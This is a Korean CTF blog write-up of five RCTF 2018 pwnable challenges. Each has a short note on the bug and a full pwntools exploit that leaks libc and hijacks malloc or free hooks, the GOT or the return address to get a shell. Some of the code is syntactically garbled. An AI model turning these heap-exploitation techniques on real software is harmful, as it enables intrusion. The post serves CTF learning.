ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • RCTF 2018 Write up
    Pwnable/CTF 2018. 5. 21. 15:22

    Baby HEAP


    운 좋게 1등으로 문제를 풀었다 !! 

     

    문자열을 입력받는 함수에서 POISON-NULL-Byte 취약점이 생긴다.

    취약점을 써서 뚝딱 풀면 된다.



    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    from pwn import *
     
    #p=process('./babyheap')
    p=remote('babyheap.2018.teamrois.cn',3154)
     
    def alloc(size,content):
        p.sendlineafter(': ','1')
        p.sendlineafter(': ',str(size))
        p.sendlineafter(': ',content)
     
    def show(idx):
        p.sendlineafter(': ','2')
        p.sendlineafter(': ',str(idx))
     
    def delete(idx):
        p.sendlineafter(': ','3')
        p.sendlineafter(': ',str(idx))
     
     
    alloc(24,'AAAA')
    alloc(256,'B'*240+p64(0x100)+p64(0x121))
    alloc(256,'CCC'#2
    delete(0)
    delete(1)
    alloc(24,'A'*24#0
    alloc(0x88,'BBBB'#1
    alloc(0x60,'bbbb'#3
    delete(1)
    delete(2)
    p.recvuntil('Exit')
    p.recvuntil('Exit')
    sleep(1)
    alloc(0x88,'ZZZZ'#1
    alloc(0x80,'bbbb'#2
    alloc(0x80,'cccc'#4
    delete(2)
    show(3)
    p.recvuntil('content: ')
    main_arena = u64(p.recv(6)+'\x00\x00'+ 88 - 176
    malloc_hook = main_arena - 0x10
    libc_base = main_arena - 0x3c4b20
    print hex(main_arena)
    print hex(malloc_hook)
    print hex(libc_base)
    delete(4)
    alloc(0x60,'aaaa')
    alloc(0x60,'cccc')
    delete(2)
    delete(4)
    delete(3)
    alloc(0x60,p64(malloc_hook-0x23))
    alloc(0x60,'cccc')
    alloc(0x60,'aaaa')
    alloc(0x60,'A'*0x13+p64(libc_base+0x4526a))
     
    p.interactive()
     
    cs




    RNote3 

    data 포인터 첫 바이트를 NULL로 만들면 되는데 그것을 생각했을 때 익스를 거의 다 짠 상태라 그냥 2번째 BYTE를 NULL로 만드는 익스를 짰다. 


    취약점은 DELETE를 할 때 스택에서 NULL로 초기화를 안 시켜서 UAF 취약점이 생긴다.


    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    from pwn import *
     
    #p=process('./RNote3')
    p=remote('rnote3.2018.teamrois.cn',7322)
     
    def add(title,size,content):
        sleep(0.5)
        p.sendline('1')
        p.sendlineafter('title: ',title)
        print p.sendlineafter('size: ',str(size))
        p.sendlineafter('content: ',content)
     
    def view(title):
        sleep(0.5)
        p.sendline('2')
        p.sendlineafter(': ',title)
     
    def edit(title,content):
        sleep(0.5)
        p.sendline('3')
        p.sendlineafter(': ',title)
        p.sendlineafter(': ',content)
     
    def delete(title):
        sleep(0.5)
        p.sendline('4')
        p.sendlineafter(': ',title)
     
    while True:
        try:
    #        p=process('./RNote3')
            p=remote('rnote3.2018.teamrois.cn',7322)
            print p.recv(1024)
            p.sendline('-1')
            add('AAAA',24,'AAAA')
            delete('AAAA')
                    delete('AAAA')
                    add('',24,'AAAA')
                    add('',24,'AAAA')
            add('BBBB',0xb0,p64(0x119))
            add('CCCC',24,'CCCC')
            add('DDDD',256,'/bin/sh\x00')
            delete('CCCC')
            delete('')
            view('\x40')
            if 'valid' not in p.recvuntil('title'):
                print 'Correct'
                p.recvuntil('note content: ')
                heap = u64(p.recv(6)+'\x00\x00'- 0x140
                print hex(heap)
                add('',24,'AAAA')
                add('CCCC',24,'CCCC')
                delete('')
                delete('')
                delete('BBBB')
                add('',0xb0,'BBBB')
                add(p64(heap+0x140)[0:6],24,'AAAA')
                add('!!!!',24,'@'*7+'\x00'+p64(0x500)+p64(heap+0x98))
                view('@'*7)
                p.recvuntil('note content: ')
                main_arena = u64(p.recv(6)+'\x00\x00'- 88
                libc_base = main_arena - 0x3c4b20
                free_hook = libc_base + 0x3c67a8
                print hex(main_arena)
                print hex(free_hook)
                edit('@'*7,'A'*0xa0 + p64(0+ p64(0xc0+ p64(0x21+ '@'*7 + '\x00' + p64(0x500+ p64(free_hook))
                edit('@'*7,p64(libc_base+0x45390))
                p.interactive()
            else:
                asd() #error
        except:
            print 'Error'
     
    cs


    Simulator


    a2[0] = asm_opcode

    a2[1] = reg_idx

    a2[2] = reg_idx

    a2[3] = reg_idx


    대충 인덱스에 이런 식으로 들어간다 if 문으로 asm을 입력하면 opcode로 바꿔주고 OPCODE를 if 문으로 나누는데 


    add, and, sub, slt, or 5개만 내가 입력한 문자열로 인덱스를 정해줄 수 있다.

    인덱스 값 범위를 필터링 하지 않았기 때문에 OOB취약점이 생긴다.



    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    from pwn import *
    import hashlib
    import string
     
     
    def proof_of_work():
        data = p.recvline().split('\n')[0]
        str_ = string.ascii_letters + string.digits
        key = ""
        check = False
        print data
        for one in str_:
            if check:
                break
            for two in str_:
                if check:
                    break
                for three in str_:
                    if check:
                        break
                    for fo in str_:
                        key = data + one + two + three + fo
                        if check:
                            break
                        if hashlib.sha256(key).digest().startswith('\0\0\0'):
                            print (one+to+three+fo)
                            p.send(one+to+three+fo)
                            check = True
     
    #p=process('./simulator')
    p=remote('simulator.2018.teamrois.cn',3131)
    proof_of_work()
    sleep(1)
    p.sendline('.text')
    p.sendline('sub {0},{1},{2}'.format('4294966944','134523785','1')) #puts -> main
    p.sendline('sub {0},{1},{2}'.format('4294966942','134514033','1')) #strdup -> printf
    p.sendline('END')
    p.sendline('.data')
    sleep(1)
    p.sendline('%2$p')
    fgets = int(p.recv(10),16- 11 #server -> 0x5d620
    libc_base = fgets - 0x5d620
    system = libc_base + 0x3a940
    cmd = libc_base + 0x15902b
    print hex(fgets)
    print hex(libc_base)
    print hex(system)
    print hex(cmd)
    p.sendline('%159$p')
    canary = int(p.recv(10),16)
    print hex(canary)
    p.sendline('.text')
    p.sendline('sub {0},{1},{2}'.format('4294966944','134514033','1')) #puts recovery
    p.sendline('END')
    p.recvuntil('comment: ')
    p.sendline('AAAA')
     
    payload = 'A'*32
    payload += p32(canary)
    payload += 'B'*12
    payload += p32(system)
    payload += p32(cmd) * 2
     
    print p.sendlineafter('comment: ',payload)
    p.interactive()
     
    cs


    RNote4


    NO-RELRO를 보고 바로 strtab덮어야지 했는데 이상하게 안 덮여서 삽질을 하다가 그냥 free@got를 system으로 브포를 돌렸다. 

    문제를 풀고 다시 확인해보니 strtab을 이상하게 덮으려고 했다 ..


    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    from pwn import *
     
    p=process('./RNote4')
     
    def alloc(size,data):
            p.send('\x01')
            p.send(size)
            p.send(data)
     
    def edit(idx,size,data):
        sleep(0.5)
            p.send('\x02')
            p.send(idx)
            p.send(size)
        p.send(data)
     
    def delete(idx):
        sleep(0.5)
        p.send('\x03')
        p.send(idx)
     
    while True:
        try:
    #        p=process('./RNote4')
            p=remote('rnote4.2018.teamrois.cn',6767)
            alloc('\x18','A'*24)
            alloc('\x18','B'*24)
            alloc('\x18','C'*24)
            alloc('\x18','/bin/sh\x00'+'\x00'*16)
            edit('\x01','\x30','B'*40+p64(0x602018))
            delete('\x00')
            edit('\x02','\x03','\x90\x33\x56')
            delete('\x03')
            p.sendline('id;ls')
            print p.recv(1024)
            p.sendline('id;ls')
            print p.recv(1024)
            p.interactive()
        except:
            p.close()    
     
    p.interactive()
    cs


    Stringer


    문제를 보자마자 그 취약점이 생각났다.

    ROOT_CTF Allocate가 아래 ptrmalloc에 나오는 calloc trick, realloc trick을 이용한 문제였는데 모르고 

    realloc에서 NULL로 덮지 않았다. ㅠㅠㅠ


    https://github.com/andigena/ptmalloc-fanzine


    위에서 03scraps-calloc.c trick이 이 문제 핵심이다.


    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    from pwn import *
     
    #p=process('./stringer')
    p=remote('stringer.2018.teamrois.cn',7272)
     
    def new(length,string):
        p.sendlineafter('choice: ','1')
        p.sendlineafter(': ',str(length))
        if(len(string) < length):
            p.sendlineafter(': ',string)
        else:
            p.sendafter(': ',string)
     
    def edit(idx,byte_idx):
        p.sendlineafter('choice: ','3')
        p.sendlineafter(': ',str(idx))
        p.sendlineafter(': ',str(byte_idx))
     
    def delete(idx):
        p.sendlineafter('choice: ','4')
        p.sendlineafter(': ',str(idx))
     
     
    new(24,'A'*24#0
    new(0x100,'B'*0x100#1
    new(0x100,'C'*0x100#2
    delete(1)
    edit(0,24)
    edit(0,24)
    new(0x100,'\n'#3
    p.recvuntil('your string:')
    p.recv(1)
    main_arena = u64(p.recv(6)+'\x00\x00'- 0x16 + 0x2c
    libc_base = main_arena - 0x3c4b20
    malloc_hook = main_arena - 0x10
    print hex(main_arena)
    print hex(libc_base)
    print hex(malloc_hook)
    new(0x60,'AAAA'#4
    new(0x60,'BBBB'#5
    delete(4)
    delete(5)
    delete(4)
    new(0x60,p64(malloc_hook-0x23))
    new(0x60,'BBBB')
    new(0x60,'AAAA')
    new(0x60,'A'*0x13+p64(libc_base+0xf02a4))
    p.sendlineafter('choice: ','1')
    p.sendlineafter('length: ','24')
     
    p.interactive()
     
    cs


    'Pwnable > CTF' 카테고리의 다른 글

    SECCON 2017 vm_no_fun  (0) 2018.08.15
    Codegate 2018 7ameBOX1  (0) 2018.05.21
    Secuinside 2017 vvv  (0) 2018.05.13
    Codegate 2017 JsWorld  (0) 2018.05.10
    Codegate 2018 Final  (0) 2018.04.10
Designed by Tistory.